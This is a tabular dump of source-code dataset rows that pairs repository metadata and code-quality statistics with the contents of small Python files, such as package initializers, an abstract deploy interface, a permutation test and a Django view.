hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
02240a0f6602fccdee7780b1ea2c3a3e30a683b9
| 912
|
py
|
Python
|
bridge/bridge/deploy/__init__.py
|
KateDK/domino-research
|
7e8c3d8f3d337840adf4003626f4d36b8783bde0
|
[
"Apache-2.0"
] | 56
|
2021-08-03T17:06:58.000Z
|
2022-03-02T04:26:27.000Z
|
bridge/bridge/deploy/__init__.py
|
KateDK/domino-research
|
7e8c3d8f3d337840adf4003626f4d36b8783bde0
|
[
"Apache-2.0"
] | 65
|
2021-08-10T23:14:12.000Z
|
2022-03-31T20:05:05.000Z
|
bridge/bridge/deploy/__init__.py
|
KateDK/domino-research
|
7e8c3d8f3d337840adf4003626f4d36b8783bde0
|
[
"Apache-2.0"
] | 5
|
2021-08-13T18:37:38.000Z
|
2022-03-18T07:36:17.000Z
|
from abc import ABC, abstractmethod
from typing import List, Dict, Set
from bridge.types import Model, ModelVersion, Artifact
class DeployTarget(ABC):
@property
@abstractmethod
def target_name(self) -> str:
pass
@property
@abstractmethod
def target_id(self) -> str:
pass
@abstractmethod
def list_models(self) -> List[Model]:
pass
@abstractmethod
def teardown(self):
pass
@abstractmethod
def init(self):
pass
@abstractmethod
def create_versions(self, new_versions: Dict[ModelVersion, Artifact]):
pass
@abstractmethod
def update_version_stage(
self,
current_routing: Dict[str, Dict[str, Set[str]]],
desired_routing: Dict[str, Dict[str, Set[str]]],
):
pass
@abstractmethod
def delete_versions(self, deleted_versions: Set[ModelVersion]):
pass
| 20.727273
| 74
| 0.640351
| 99
| 912
| 5.787879
| 0.373737
| 0.237347
| 0.219895
| 0.108202
| 0.094241
| 0.094241
| 0.094241
| 0
| 0
| 0
| 0
| 0
| 0.270833
| 912
| 43
| 75
| 21.209302
| 0.861654
| 0
| 0
| 0.529412
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.235294
| false
| 0.235294
| 0.088235
| 0
| 0.352941
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
0224a1191b3ff7aed461165e00b432a3698b96bd
| 279
|
py
|
Python
|
autocomplete/__init__.py
|
larryworm1127/autocomplete
|
d628afc369aa98d15570315bdb662bdbbf3df2e8
|
[
"MIT"
] | null | null | null |
autocomplete/__init__.py
|
larryworm1127/autocomplete
|
d628afc369aa98d15570315bdb662bdbbf3df2e8
|
[
"MIT"
] | null | null | null |
autocomplete/__init__.py
|
larryworm1127/autocomplete
|
d628afc369aa98d15570315bdb662bdbbf3df2e8
|
[
"MIT"
] | null | null | null |
from __future__ import absolute_import
from autocomplete.engine import (
LetterAutocompleteEngine,
SentenceAutocompleteEngine,
MelodyAutocompleteEngine
)
__all__ = [
'LetterAutocompleteEngine',
'SentenceAutocompleteEngine',
'MelodyAutocompleteEngine'
]
| 19.928571
| 38
| 0.781362
| 16
| 279
| 13.0625
| 0.625
| 0.478469
| 0.708134
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16129
| 279
| 13
| 39
| 21.461538
| 0.893162
| 0
| 0
| 0
| 0
| 0
| 0.265233
| 0.265233
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.181818
| 0
| 0.181818
| 0
| 1
| 0
| 1
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0224c668ed2754f59a4f2b67ae28a9730fd3ebac
| 2,689
|
py
|
Python
|
tests/test_permutation.py
|
miiohio/succinct
|
c5adc7b409264d027e4ea97d18d809f39434861f
|
[
"MIT"
] | 56
|
2020-07-09T23:32:12.000Z
|
2022-02-09T15:16:22.000Z
|
tests/test_permutation.py
|
miiohio/succinct
|
c5adc7b409264d027e4ea97d18d809f39434861f
|
[
"MIT"
] | null | null | null |
tests/test_permutation.py
|
miiohio/succinct
|
c5adc7b409264d027e4ea97d18d809f39434861f
|
[
"MIT"
] | 5
|
2020-07-22T00:12:09.000Z
|
2021-05-27T08:12:50.000Z
|
from typing import List
from succinct.permutation import Permutation
from hypothesis import given, settings, example
from hypothesis import strategies as st
@given(
st.integers(min_value=1, max_value=70)
.map(lambda x: list(range(x))).flatmap(st.permutations)
)
@settings(max_examples=600, deadline=None)
@example(values=[0, 1])
@example(values=[3, 2, 1, 0])
@example(values=[2, 8, 1, 4, 5, 6, 9, 10, 12, 14, 13, 15, 11, 0, 3, 7])
@example(values=[
17, 0, 18, 19, 25, 26, 27, 28, 29, 30, 31, 32, 33, 122, 123, 133, 134, 304, 353, 355, 385, 386, 387, 405, 406, 13, 14, 15, 16, 20, 21, 22, 23, 24, 105, 106, 118, 119, 148, 149, 150, 151, 167, 168, 200, 201, 215, 216, 236, 237, 264, 265, 302, 303, 305, 306, 313, 314, 347, 348, 367, 368, 397, 398, 1, 88, 89, 323, 84, 85, 95, 96, 99, 104, 125, 126, 129, 130, 154, 155, 182, 183, 354, 356, 375, 376, 403, 404, 64, 65, 109, 110, 111, 112, 113, 135, 136, 169, 170, 179, 180, 181, 250, 251, 66, 97, 98, 152, 153, 160, 161, 162, 163, 164, 173, 174, 186, 187, 269, 270, 307, 308, 90, 91, 92, 93, 94, 139, 140, 165, 166, 296, 297, 8, 9, 76, 77, 131, 132, 171, 172, 204, 205, 210, 40, 41, 46, 47, 116, 117, 244, 245, 267, 268, 276, 277, 114, 115, 238, 239, 6, 7, 67, 70, 71, 78, 79, 107, 108, 156, 157, 256, 257, 298, 299, 36, 37, 158, 159, 206, 234, 235, 262, 263, 144, 145, 146, 147, 192, 193, 213, 214, 242, 243, 100, 101, 127, 128, 137, 138, 202, 203, 258, 259, 68, 69, 208, 124, 207, 332, 349, 412, 420, 44, 45, 120, 121, 198, 199, 246, 247, 324, 325, 352, 362, 363, 391, 392, 399, 401, 402, 409, 410, 411, 240, 241, 360, 361, 52, 53, 82, 83, 177, 178, 190, 191, 196, 197, 217, 218, 300, 301, 378, 379, 48, 49, 86, 87, 175, 176, 184, 185, 188, 189, 373, 374, 12, 38, 39, 102, 103, 211, 223, 231, 232, 233, 248, 249, 326, 327, 330, 331, 334, 335, 351, 357, 358, 359, 377, 380, 381, 382, 393, 394, 34, 35, 42, 43, 194, 195, 219, 220, 260, 261, 273, 274, 275, 294, 295, 284, 287, 2, 10, 224, 225, 252, 253, 343, 344, 345, 346, 418, 419, 390, 288, 289, 280, 281, 407, 408, 229, 230, 338, 3, 309, 310, 400, 333, 336, 341, 342, 395, 396, 54, 55, 209, 212, 226, 227, 228, 266, 4, 11, 50, 51, 56, 57, 58, 59, 72, 221, 222, 254, 255, 271, 290, 291, 292, 293, 317, 318, 319, 320, 321, 322, 339, 340, 5, 60, 61, 73, 74, 75, 80, 81, 141, 142, 143, 282, 283, 337, 388, 389, 413, 414, 62, 63, 278, 279, 311, 312, 315, 316, 369, 370, 371, 372, 383, 384, 415, 416, 417, 421, 328, 329, 364, 365, 366, 285, 286, 272, 350
])
def test_permutation_example(values: List[int]) -> None:
permutation = Permutation(values)
for i, value in enumerate(values):
assert permutation.index_of(value) == i
assert permutation[i] == value
| 103.423077
| 2,002
| 0.607661
| 524
| 2,689
| 3.10687
| 0.877863
| 0.039926
| 0.02457
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.552974
| 0.199702
| 2,689
| 25
| 2,003
| 107.56
| 0.203532
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 1
| 0.05
| false
| 0
| 0.2
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0231b3c9f6b5f9a3e905746be6a41a7fea716ed5
| 427
|
py
|
Python
|
e2elink/steps/preprocessing/birth_year.py
|
ersilia-os/cidrz-e2e-linkage
|
840581cdb90617f3ceb1be898992f0a8df71f9e3
|
[
"MIT"
] | null | null | null |
e2elink/steps/preprocessing/birth_year.py
|
ersilia-os/cidrz-e2e-linkage
|
840581cdb90617f3ceb1be898992f0a8df71f9e3
|
[
"MIT"
] | null | null | null |
e2elink/steps/preprocessing/birth_year.py
|
ersilia-os/cidrz-e2e-linkage
|
840581cdb90617f3ceb1be898992f0a8df71f9e3
|
[
"MIT"
] | null | null | null |
from ..preprocessing import reference_field as ref, age
class BirthYear(age.Age):
def __init__(self, src_column, output_column_prefix="clean_"):
age.Age.__init__(self, src_column, output_column_prefix)
self.label = ref.BIRTH_YEAR
self.output_column = "{0}{1}".format(self.output_column_prefix, self.label)
def clean(self, dataframe):
return age.Age.clean(self, dataframe, 1900, 2021)
| 35.583333
| 83
| 0.711944
| 59
| 427
| 4.813559
| 0.474576
| 0.169014
| 0.190141
| 0.119718
| 0.373239
| 0.246479
| 0.246479
| 0
| 0
| 0
| 0
| 0.028329
| 0.173302
| 427
| 11
| 84
| 38.818182
| 0.776204
| 0
| 0
| 0
| 0
| 0
| 0.028103
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.125
| 0.125
| 0.625
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
026a5dc130eaaf741f747dc66abe2c6bbe9f6694
| 1,646
|
py
|
Python
|
fuel/converters/__init__.py
|
zaimusho/fuel
|
a5ae89c2c77c7865544e2c68dff3207a62085dd6
|
[
"MIT"
] | 767
|
2015-05-21T03:32:01.000Z
|
2019-02-10T13:34:41.000Z
|
fuel/converters/__init__.py
|
zaimusho/fuel
|
a5ae89c2c77c7865544e2c68dff3207a62085dd6
|
[
"MIT"
] | 274
|
2015-05-16T19:18:45.000Z
|
2018-09-06T07:13:38.000Z
|
fuel/converters/__init__.py
|
leprophec/fuel
|
a5ae89c2c77c7865544e2c68dff3207a62085dd6
|
[
"MIT"
] | 258
|
2015-05-21T04:55:25.000Z
|
2019-01-23T07:34:27.000Z
|
"""Data conversion modules for built-in datasets.
Conversion submodules generate an HDF5 file that is compatible with
their corresponding built-in dataset.
Conversion functions accept a single argument, `subparser`, which is an
`argparse.ArgumentParser` instance that it needs to fill with its own
specific arguments. They should set a `func` default argument for the
subparser with a function that will get called and given the parsed
command-line arguments, and is expected to download the required files.
"""
from fuel.converters import adult
from fuel.converters import binarized_mnist
from fuel.converters import caltech101_silhouettes
from fuel.converters import celeba
from fuel.converters import cifar10
from fuel.converters import cifar100
from fuel.converters import dogs_vs_cats
from fuel.converters import iris
from fuel.converters import mnist
from fuel.converters import svhn
from fuel.converters import ilsvrc2010
from fuel.converters import ilsvrc2012
from fuel.converters import youtube_audio
__version__ = '0.2'
all_converters = (
('adult', adult.fill_subparser),
('binarized_mnist', binarized_mnist.fill_subparser),
('caltech101_silhouettes', caltech101_silhouettes.fill_subparser),
('celeba', celeba.fill_subparser),
('cifar10', cifar10.fill_subparser),
('cifar100', cifar100.fill_subparser),
('dogs_vs_cats', dogs_vs_cats.fill_subparser),
('iris', iris.fill_subparser),
('mnist', mnist.fill_subparser),
('svhn', svhn.fill_subparser),
('ilsvrc2010', ilsvrc2010.fill_subparser),
('ilsvrc2012', ilsvrc2012.fill_subparser),
('youtube_audio', youtube_audio.fill_subparser))
| 39.190476
| 71
| 0.789186
| 214
| 1,646
| 5.915888
| 0.378505
| 0.082149
| 0.184834
| 0.246446
| 0.045814
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035615
| 0.130012
| 1,646
| 41
| 72
| 40.146341
| 0.848464
| 0.307412
| 0
| 0
| 1
| 0
| 0.109541
| 0.019435
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.464286
| 0
| 0.464286
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0273a8c7212d1fd9e8717ea667600f19a816e7be
| 322
|
py
|
Python
|
app/views.py
|
cal-itp/docker-django-aws-test
|
7ae9ae58602f0e7d7d86aa8c2673285dd11ea648
|
[
"Apache-2.0"
] | 1
|
2021-09-23T17:33:15.000Z
|
2021-09-23T17:33:15.000Z
|
app/views.py
|
cal-itp/docker-django-aws-test
|
7ae9ae58602f0e7d7d86aa8c2673285dd11ea648
|
[
"Apache-2.0"
] | 1
|
2021-03-17T23:19:32.000Z
|
2021-03-17T23:42:53.000Z
|
app/views.py
|
cal-itp/docker-django-aws-test
|
7ae9ae58602f0e7d7d86aa8c2673285dd11ea648
|
[
"Apache-2.0"
] | null | null | null |
from django.http import HttpResponse
import requests
def index(request):
return HttpResponse("[app/index]")
def echo(request, q):
return HttpResponse(f"[app/echo]: {q}")
def search(request, q):
r = requests.get(f"https://www.google.com/search?&q={q}")
return HttpResponse(f"[app/request]: {r.text}")
| 20.125
| 61
| 0.677019
| 46
| 322
| 4.73913
| 0.478261
| 0.247706
| 0.174312
| 0.183486
| 0.211009
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145963
| 322
| 16
| 62
| 20.125
| 0.792727
| 0
| 0
| 0
| 0
| 0
| 0.263158
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.222222
| 0.222222
| 0.888889
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
028c3212feca9870002f39e2cbf24ab2d5e97c35
| 105
|
py
|
Python
|
print_even.py
|
sanketg186/PythonInterviewQuestion
|
12e92d8cafad29117531ad0ff3dd34f0b1249644
|
[
"MIT"
] | null | null | null |
print_even.py
|
sanketg186/PythonInterviewQuestion
|
12e92d8cafad29117531ad0ff3dd34f0b1249644
|
[
"MIT"
] | null | null | null |
print_even.py
|
sanketg186/PythonInterviewQuestion
|
12e92d8cafad29117531ad0ff3dd34f0b1249644
|
[
"MIT"
] | null | null | null |
# Create a list of even numbers from range 0 to 999 without using a for loop
print(list(range(0,1000,2)))
| 52.5
| 76
| 0.752381
| 22
| 105
| 3.590909
| 0.818182
| 0.151899
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113636
| 0.161905
| 105
| 2
| 77
| 52.5
| 0.784091
| 0.704762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
5a3389ae5d8c536032e4fb4759a30396fddfaab1
| 60
|
py
|
Python
|
python/src/test/resources/pyfunc/if2_test.py
|
maropu/lljvm-translator
|
322fbe24a27976948c8e8081a9552152dda58b4b
|
[
"Apache-2.0"
] | 70
|
2017-12-12T10:54:00.000Z
|
2022-03-22T07:45:19.000Z
|
python/src/test/resources/pyfunc/if2_test.py
|
maropu/lljvm-as
|
322fbe24a27976948c8e8081a9552152dda58b4b
|
[
"Apache-2.0"
] | 14
|
2018-02-28T01:29:46.000Z
|
2019-12-10T01:42:22.000Z
|
python/src/test/resources/pyfunc/if2_test.py
|
maropu/lljvm-as
|
322fbe24a27976948c8e8081a9552152dda58b4b
|
[
"Apache-2.0"
] | 4
|
2019-07-21T07:58:25.000Z
|
2021-02-01T09:46:59.000Z
|
def if2_test(x):
value = x > 0 if 0 else 1
return value
| 15
| 27
| 0.633333
| 13
| 60
| 2.846154
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.093023
| 0.283333
| 60
| 3
| 28
| 20
| 0.767442
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
5a3426ddddd2f9dd8dcd42609f7a0910faec56e6
| 339
|
py
|
Python
|
nanopub/namespaces.py
|
LourensVeen/nanopub
|
b9d5d0872e0cd6da79033620e589932c53304d5c
|
[
"Apache-2.0"
] | null | null | null |
nanopub/namespaces.py
|
LourensVeen/nanopub
|
b9d5d0872e0cd6da79033620e589932c53304d5c
|
[
"Apache-2.0"
] | null | null | null |
nanopub/namespaces.py
|
LourensVeen/nanopub
|
b9d5d0872e0cd6da79033620e589932c53304d5c
|
[
"Apache-2.0"
] | null | null | null |
import rdflib
NP = rdflib.Namespace("http://www.nanopub.org/nschema#")
NPX = rdflib.Namespace("http://purl.org/nanopub/x/")
PROV = rdflib.Namespace("http://www.w3.org/ns/prov#")
HYCL = rdflib.Namespace("http://purl.org/petapico/o/hycl#")
AUTHOR = rdflib.Namespace("http://purl.org/person#")
ORCID = rdflib.Namespace('https://orcid.org/')
| 37.666667
| 59
| 0.710914
| 49
| 339
| 4.918367
| 0.44898
| 0.373444
| 0.394191
| 0.286307
| 0.323651
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003145
| 0.061947
| 339
| 8
| 60
| 42.375
| 0.754717
| 0
| 0
| 0
| 0
| 0
| 0.460177
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.142857
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5a389a170bf397fa97c1c12572b2f5b364298197
| 71
|
py
|
Python
|
src/utils/__init__.py
|
Fom123/fastapi-project
|
ce7926367824ad3836fbdbfec366f19e2c6f5b4c
|
[
"MIT"
] | 17
|
2021-09-12T14:08:30.000Z
|
2022-03-29T12:07:31.000Z
|
src/utils/__init__.py
|
Fom123/fastapi-project
|
ce7926367824ad3836fbdbfec366f19e2c6f5b4c
|
[
"MIT"
] | null | null | null |
src/utils/__init__.py
|
Fom123/fastapi-project
|
ce7926367824ad3836fbdbfec366f19e2c6f5b4c
|
[
"MIT"
] | 4
|
2021-09-30T13:06:42.000Z
|
2022-03-29T15:05:59.000Z
|
from src.utils.jwt import oauth2_scheme
__all__ = ("oauth2_scheme", )
| 17.75
| 39
| 0.760563
| 10
| 71
| 4.8
| 0.8
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.032258
| 0.126761
| 71
| 3
| 40
| 23.666667
| 0.741935
| 0
| 0
| 0
| 0
| 0
| 0.183099
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5a4a17a7d8f026e661513073add4d2c97c9a9112
| 826
|
py
|
Python
|
pyanalyze/__init__.py
|
994125010/pyanalyze
|
043770706e93006b375d7c6deb6711cf421752c6
|
[
"Apache-2.0"
] | null | null | null |
pyanalyze/__init__.py
|
994125010/pyanalyze
|
043770706e93006b375d7c6deb6711cf421752c6
|
[
"Apache-2.0"
] | null | null | null |
pyanalyze/__init__.py
|
994125010/pyanalyze
|
043770706e93006b375d7c6deb6711cf421752c6
|
[
"Apache-2.0"
] | null | null | null |
"""
pyanalyze is a package for Python static analysis.
"""
from . import ast_annotator
from . import name_check_visitor
from . import analysis_lib
from . import annotations
from . import arg_spec
from . import asynq_checker
from . import config
from . import error_code
from . import extensions
from . import find_unused
from .find_unused import used as used
from . import implementation
from . import method_return_type
from . import node_visitor
from . import safe
from . import signature
from . import stacked_scopes
from . import test_config
from . import typeshed
from . import tests
from . import value
from .value import assert_is_value as assert_is_value, dump_value as dump_value
from . import yield_checker
# Exposed as APIs
used(ast_annotator)
used(assert_is_value)
used(dump_value)
used(extensions.LiteralOnly)
| 23.6
| 79
| 0.805085
| 123
| 826
| 5.203252
| 0.390244
| 0.328125
| 0.060938
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145278
| 826
| 34
| 80
| 24.294118
| 0.906516
| 0.081114
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 1
| 0
| true
| 0
| 0.851852
| 0
| 0.851852
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5a5048e904ccce88cc6edd93c58059a14bd50632
| 287
|
py
|
Python
|
Scripts/selected-glyphs/layers/copy-to-layer.py
|
miguelsousa/hTools2
|
eab400677c1b21bb2519a7354a142e167c2b39ba
|
[
"BSD-3-Clause"
] | null | null | null |
Scripts/selected-glyphs/layers/copy-to-layer.py
|
miguelsousa/hTools2
|
eab400677c1b21bb2519a7354a142e167c2b39ba
|
[
"BSD-3-Clause"
] | null | null | null |
Scripts/selected-glyphs/layers/copy-to-layer.py
|
miguelsousa/hTools2
|
eab400677c1b21bb2519a7354a142e167c2b39ba
|
[
"BSD-3-Clause"
] | null | null | null |
# [h] copy to layer
'''Copy selected glyphs to a given layer.'''
# debug
import hTools2
reload(hTools2)
if hTools2.DEBUG:
import hTools2.dialogs.glyphs
reload(hTools2.dialogs.glyphs)
# import
from hTools2.dialogs.glyphs import copyToLayerDialog
# run
copyToLayerDialog()
| 13.666667
| 52
| 0.74216
| 36
| 287
| 5.916667
| 0.472222
| 0.197183
| 0.28169
| 0.244131
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025
| 0.163763
| 287
| 20
| 53
| 14.35
| 0.8625
| 0.25784
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.428571
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ce7c60f6ddcfc00327154c6c7f5bd7766de70b03
| 107
|
py
|
Python
|
src/miptlabs/latex/__init__.py
|
dimon58/miptlabs
|
538f6c410210a6e3405ca5b61dc7bc41d251cdf8
|
[
"MIT"
] | null | null | null |
src/miptlabs/latex/__init__.py
|
dimon58/miptlabs
|
538f6c410210a6e3405ca5b61dc7bc41d251cdf8
|
[
"MIT"
] | null | null | null |
src/miptlabs/latex/__init__.py
|
dimon58/miptlabs
|
